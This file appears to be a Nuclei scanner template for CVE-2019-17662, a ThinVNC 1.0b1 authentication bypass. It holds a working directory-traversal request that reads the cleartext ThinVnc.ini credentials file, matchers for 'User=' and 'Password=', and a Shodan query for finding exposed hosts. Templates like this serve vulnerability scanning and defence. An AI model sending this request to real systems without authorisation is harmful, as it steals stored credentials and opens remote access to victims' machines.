57 lines
2.0 KiB
YAML
57 lines
2.0 KiB
YAML
id: CVE-2019-17662
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info:
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name: ThinVNC 1.0b1 - Authentication Bypass
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author: DhiyaneshDK
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severity: critical
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description: |
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ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
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impact: |
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An attacker can bypass authentication and gain unauthorized access to the ThinVNC application.
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remediation: |
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Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.
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reference:
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- http://packetstormsecurity.com/files/154896/ThinVNC-1.0b1-Authentication-Bypass.html
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- https://github.com/bewest/thinvnc/issues/5
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- https://redteamzone.com/ThinVNC/
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- https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-17662
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cwe-id: CWE-22
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epss-score: 0.65955
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epss-percentile: 0.976
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cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: cybelsoft
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product: thinvnc
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shodan-query: http.favicon.hash:-1414548363
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tags: packetstorm,cve,cve2019,auth-bypass,thinvnc,intrusive,cybelsoft
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http:
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- raw:
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- |
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GET /{{randstr}}/../../ThinVnc.ini HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "User="
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- "Password="
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condition: and
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- type: word
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part: header
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words:
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- "application/binary"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100f341a7cf907f9f9c76c9b2a38ad97a6dac90dcdd75aa42a46eb13b16f5721f0c022100e329b61436a5002e15fe8a72a000b04e1e31a930e951fa0d8bfd4c8f3a16e29c:922c64590222798bb761d5b6d8e72950 |